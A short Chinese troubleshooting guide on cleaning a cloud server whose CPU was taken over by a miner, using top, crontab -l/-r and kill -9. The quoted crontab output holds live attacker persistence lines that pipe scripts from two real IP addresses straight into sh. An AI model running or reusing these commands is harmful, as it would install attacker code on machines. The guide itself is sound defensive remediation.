黑客通常利用云服务器开放的端口攻击云服务器，造成云服务器CPU占用率接近100%，云服务器CPU资源为黑客所用，例如：挖矿。
top命令查看资源使用情况
[hadoop@Master ~]$ top ...PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 25515 hadoop 20 0 176820 2740 428 S 96.7 0.1 22:29.82 java1332 root 20 0 2086940 85604 2452 S 0.7 4.5 735:08.85 java2347 hadoop 20 0 208 20 0 S 0.3 0.0 0:10.17 08ct58qfnma+3352 hadoop 20 0 208 36 0 S 0.3 0.0 0:51.95 34rol45oukei7512 mongod 20 0 1091048 81148 2064 S 0.3 4.3 44:48.20 mongod...
发现CPU被一个25515的进程占用了96.7%（接近100%）占用。
按q键退出top监听
查看定时任务
[hadoop@Master ~]$ crontab -l * * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1 10 * * * * wget -q -O - http://89.35.39.78/1.sh | sh > /dev/null 2>&1
发现确实有定时任务，而且这个ip是陌生ip。有xx.sh脚本在后台运行。
删除定时任务
[hadoop@Master ~]$ crontab -r
再次查看定时任务
[hadoop@Master ~]$ crontab -l no crontab for hadoop
用kill掉CPU占用率接近100%的进程
[hadoop@Master ~]$ kill -9 25515
再次用top命令查看资源使用情况
[hadoop@Master ~]$ top
...
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND1965 hadoop 20 0 3129388 157000 1648 S 0.3 8.3 18:59.50 java5975 hadoop 20 0 208 44 0 S 0.3 0.0 1:26.53 id2mk0hrtdop...
过几分钟再次用top命令查看
[hadoop@Master ~]$ top ... PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND1332 root 20 0 2086940 85628 2452 S 0.7 4.5 735:13.85 java8513 hadoop 20 0 208 40 0 S 0.3 0.0 1:08.88 fv7ed8qccns+ 17228 hadoop 20 0 208 24 0 S 0.3 0.0 0:22.29 72t7j2itqvb+...
总结：
CPU占用率接近100%的问题，通过top命令查出CPU占用率高的进程
如果没有定时任务，可以直接kill掉CPU占用率高的进程；
如果有定时任务，kill掉进程后，过一会top查看还会再次出现CPU 100%的问题，使用crontab -l命令查看发现有定时任务。crontab -r杀掉定时任务，再kill -9杀掉CPU占用率高的进程就ok了。
完成！enjoy it！
